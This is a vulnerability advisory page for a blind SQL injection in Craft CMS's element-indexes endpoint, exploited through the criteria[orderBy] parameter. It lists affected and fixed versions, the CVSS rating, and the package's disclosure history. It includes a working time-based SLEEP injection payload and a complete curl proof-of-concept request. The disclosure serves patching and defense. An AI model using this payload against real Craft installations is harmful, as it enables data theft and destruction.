Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`
Summary
The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).
[!NOTE] The
ORDER BYclause executes per row.SLEEP(1)on 10 rows = 10s delay.
PoC
Required Permissions
- Access to the Control Panel
Steps to reproduce
- Log in to the control panel
- Navigate to any element index (e.g., Users
/admin/users, Entries, Assets, etc.) - Intercept the
POSTrequest to/index.php?p=admin/actions/element-indexes/get-elements - Modify the JSON body to the following:
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
- Send the request
- Observe a delay in the response (delay = rows × sleep time)
Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
Impact
With this Blind SQLi, an attacker can:
- Exfiltrate data character-by-character.
- Modify or destroy data (drop tables, update records, alter schema).
Root Cause
The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | craftcms/cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | 5.8.22, 4.16.18 |
References
- https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj
- https://nvd.nist.gov/vuln/detail/CVE-2026-25495
- https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-89- Platform
- Composer
- Package
craftcms/cms- Disclosed
- 09.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2453-mppf-46cj - CC BY 4.0
Vulnerability history: craftcms/cms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 127
- First → latest
- 07.2021 08.2026
- Without a fix
- 6
- Exploited in attacks
- 4
Severity breakdown
- Critical 9
- High 41
- Medium 65
- Low 12
Disclosures per year
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
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Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]` this entry
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